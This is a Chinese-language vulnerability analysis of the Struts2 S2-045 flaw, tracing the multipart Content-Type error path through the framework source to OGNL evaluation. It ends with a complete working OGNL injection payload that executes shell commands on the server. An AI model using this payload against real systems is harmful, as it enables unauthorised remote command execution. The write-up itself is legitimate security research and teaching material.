距离struts2-045漏洞的爆发过去了两周,之前仅大致了解了一下漏洞原理,周末有空就自己来跟踪分析一下。


0x00 漏洞影响版本

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

0x01 三个xml

官网上下了一个 2.3.20,根目录结构如下
QQ图片20170320100411.png

struts2中三个主要的xml:
struts.xml用来配置url映射,web.xml用来配置过滤器等信息,sturts-default.xml是struts2框架默认加载的配置文件。

0x02 静态分析

web.xml
StrutsPrepareAndExecuteFilter 是默认配置的入口filter,用于对所有请求进行过滤、修改、分发。
QQ图片20170320101455.png

分析StrutsPrepareAndExecuteFilter
core\src\main\java\org\apache\struts2\dispatcher\ng\filter\StrutsPrepareAndExecuteFilter.java 91行
dofilter函数中使用了prepare.wrapRequest对request进行处理
QQ图片20170320103617.png

继续跟进prepare.wrapRequest
core\src\main\java\org\apache\struts2\dispatcher\ng\PrepareOperations.java 137行
QQ图片20170320103146.png

继续跟进dispatcher.wrapRequest
core\src\main\java\org\apache\struts2\dispatcher\Dispatcher.java 838行
发现当满足content_type中含有"multipart/form-data"这个条件时,会实例化MultiPartRequestWrapper这个类
QQ图片20170320103430.png

于是跟进MultiPartRequestWrapper
core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java 81行
使用了multi.parse方法对request作处理,而multi的声明类型为MultiPartRequest。
QQ图片20170320112857.png

查看struts-default.xml发现Jakarta是multipart报文的默认拦截器,即multi实际是MultiPartRequest的子类jakartaMultiPartRequest声明的。
QQ图片20170320111419.png

跟进jakartaMultiPartRequest这个类,查看parse方法
core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java 105行
根据官方给出的信息,漏洞是由于处理错误时导致的rce。于是关注parse函数出错时的处理,发现使用了buildErrorMessage这个函数来处理错误信息
QQ图片20170320133041.png

查看buildErrorMessage,
core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java 123行
发现调用了LocalizedTextUtil.findText来处理错误信息。
QQ图片20170320133404.png

继续跟进LocalizedTextUtil的findText函数,发现该函数被做了多次重载。
xwork-core\src\main\java\com\opensymphony\xwork2\util\LocalizedTextUtil.java
369行,第一处获取值栈
QQ图片20170320135112.png

638行,第二处调用了TextParseUtil.translateVariables函数对值栈进行处理,最终在该函数中执行了ognl表达式
QQ图片20170320135657.png
QQ图片20170320135857.png

poc:

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

参考资料

S2-045 漏洞分析
S2-045 Analysis of the Vulnerabilities